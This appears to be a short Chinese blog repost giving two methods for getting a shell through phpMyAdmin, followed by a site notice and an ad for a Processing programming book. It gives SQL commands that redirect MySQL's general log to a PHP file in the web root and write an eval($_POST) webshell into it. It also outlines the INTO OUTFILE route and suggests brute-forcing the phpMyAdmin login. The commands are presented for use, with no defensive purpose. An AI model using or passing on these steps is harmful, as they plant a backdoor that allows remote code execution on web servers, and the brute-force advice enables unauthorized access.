内容简介：整理phpmyadmin的两种getshell方法，后续有其他方法再更新。show variables like ‘general%’;
0x00 概述
整理phpmyadmin的两种getshell方法，后续有其他方法再更新。
0x01 select日志
show variables like ‘general%’;
set global general_log = ‘ON’;# MySQL 返回的查询结果为空 (即零行)。
set global general_log_file = ‘C:/phpStudy/PHPTutorial/WWW/logshell.php’;# MySQL 返回的查询结果为空 (即零行)。
SELECT ‘<?php @eval($_POST[lsa]);?>’
0x02 into outfile
此法有局限性，必须secure_file_priv不为null && 为网站路径
show variables like “secure_file_priv”;
默认Null
尝试设置为网站目录：
需要修改my.ini
secure_file_priv=’网站路径
0x03 其他
0x04 结语
phpmyadmin上述getshell方法都要登录，可尝试爆破。
0x05 参考资料
以上所述就是小编给大家介绍的《phpmyadmin getshell大法》，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持！
本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。
Processing编程学习指南（原书第2版）
[美]丹尼尔希夫曼（Daniel Shiffman） / 李存 / 机械工业出版社 / 2017-3-1 / 99.00元
在视觉化界面中学习电脑编程的基本原理！ 本书介绍了编程的基本原理，涵盖了创建最前沿的图形应用程序（例如互动艺术、实时视频处理和数据可视化）所需要的基础知识。作为一本实验风格的手册，本书精心挑选了部分高级技术进行详尽解释，可以让图形和网页设计师、艺术家及平面设计师快速熟悉Processing编程环境。 从算法设计到数据可视化，从计算机视觉到3D图形，在有趣的互动视觉媒体和创意编程的背景之......一起来看看 《Processing编程学习指南（原书第2版）》 这本书的介绍吧!
